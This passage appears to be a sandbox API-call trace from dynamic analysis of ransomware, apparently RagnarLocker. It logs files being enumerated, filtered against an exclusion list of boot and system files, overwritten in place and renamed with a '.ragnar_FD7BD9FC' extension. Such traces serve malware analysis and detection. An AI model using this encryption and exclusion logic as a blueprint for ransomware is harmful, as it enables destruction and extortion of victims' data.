lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.613] VirtualAlloc (lpAddress=0x0, dwSize=0xc20, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.613] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.613] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.613] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc20, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc20, lpOverlapped=0x0) returned 1 [0080.613] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.613] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc20, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.613] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc20, lpOverlapped=0x0) returned 1 [0080.613] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.613] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.613] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.614] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.614] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.614] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.614] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.614] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.614] GetProcessHeap () returned 0x580000 [0080.614] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.614] CloseHandle (hObject=0xf4) returned 1 [0080.614] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" [0080.614] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.ragnar_FD7BD9FC" [0080.614] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.615] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0080.615] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.615] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00224_.WMF" | out: lpString1="BS00224_.WMF") returned="BS00224_.WMF" [0080.615] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned=".WMF" [0080.615] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.615] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="autorun.inf") returned 1 [0080.615] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="boot.ini") returned 1 [0080.615] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="bootfont.bin") returned 1 [0080.615] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="bootsect.bak") returned 1 [0080.615] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="bootmgr") returned 1 [0080.615] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="bootmgr.efi") returned 1 [0080.615] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.615] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="desktop.ini") returned -1 [0080.615] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="iconcache.db") returned -1 [0080.615] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="ntldr") returned -1 [0080.615] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="ntuser.dat") returned -1 [0080.615] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.615] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="ntuser.ini") returned -1 [0080.615] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="thumbs.db") returned -1 [0080.615] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.615] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.615] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.615] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.615] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.615] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.615] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20 [0080.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.616] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1588) returned 1 [0080.616] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x62b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.616] GetProcessHeap () returned 0x580000 [0080.616] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.616] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.618] VirtualAlloc (lpAddress=0x0, dwSize=0x634, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.618] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.618] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.618] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x634, lpOverlapped=0x0) returned 1 [0080.618] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.618] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x634, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.618] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x634, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x634, lpOverlapped=0x0) returned 1 [0080.618] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x634, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.618] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.618] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.618] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.618] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.619] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.619] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.619] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.619] GetProcessHeap () returned 0x580000 [0080.619] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.619] CloseHandle (hObject=0xf4) returned 1 [0080.619] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" [0080.619] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.ragnar_FD7BD9FC" [0080.619] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.620] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0080.620] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.620] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00438_.WMF" | out: lpString1="BS00438_.WMF") returned="BS00438_.WMF" [0080.620] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned=".WMF" [0080.620] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.620] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="autorun.inf") returned 1 [0080.620] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="boot.ini") returned 1 [0080.620] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="bootfont.bin") returned 1 [0080.620] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="bootsect.bak") returned 1 [0080.620] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="bootmgr") returned 1 [0080.620] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="bootmgr.efi") returned 1 [0080.620] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.620] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="desktop.ini") returned -1 [0080.620] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="iconcache.db") returned -1 [0080.620] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="ntldr") returned -1 [0080.620] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="ntuser.dat") returned -1 [0080.620] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.620] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="ntuser.ini") returned -1 [0080.620] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="thumbs.db") returned -1 [0080.620] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.620] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.620] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.620] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.620] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.620] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.620] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20 [0080.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.621] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1212) returned 1 [0080.621] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.621] GetProcessHeap () returned 0x580000 [0080.621] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.621] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.622] VirtualAlloc (lpAddress=0x0, dwSize=0x4bc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.622] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.623] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.623] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4bc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4bc, lpOverlapped=0x0) returned 1 [0080.623] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.623] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.623] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4bc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4bc, lpOverlapped=0x0) returned 1 [0080.623] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.623] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.623] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.623] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.623] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.624] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.624] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.624] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.624] GetProcessHeap () returned 0x580000 [0080.624] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.624] CloseHandle (hObject=0xf4) returned 1 [0080.624] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" [0080.624] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.ragnar_FD7BD9FC" [0080.624] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0080.624] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.624] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00439_.WMF" | out: lpString1="BS00439_.WMF") returned="BS00439_.WMF" [0080.625] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned=".WMF" [0080.625] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.625] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="autorun.inf") returned 1 [0080.625] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="boot.ini") returned 1 [0080.625] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="bootfont.bin") returned 1 [0080.625] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="bootsect.bak") returned 1 [0080.625] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="bootmgr") returned 1 [0080.625] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="bootmgr.efi") returned 1 [0080.625] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.625] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="desktop.ini") returned -1 [0080.625] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="iconcache.db") returned -1 [0080.625] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="ntldr") returned -1 [0080.625] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="ntuser.dat") returned -1 [0080.625] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.625] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="ntuser.ini") returned -1 [0080.625] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="thumbs.db") returned -1 [0080.625] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.625] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.625] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.625] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.625] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.625] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.625] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x20 [0080.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.626] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2052) returned 1 [0080.626] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.626] GetProcessHeap () returned 0x580000 [0080.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.626] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.629] VirtualAlloc (lpAddress=0x0, dwSize=0x804, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.631] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.631] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.650] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x804, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x804, lpOverlapped=0x0) returned 1 [0080.650] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 